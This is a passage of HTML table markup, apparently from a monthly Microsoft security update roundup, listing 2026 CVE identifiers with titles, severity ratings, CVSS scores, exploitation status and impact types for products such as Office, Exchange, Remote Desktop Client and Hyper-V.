  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
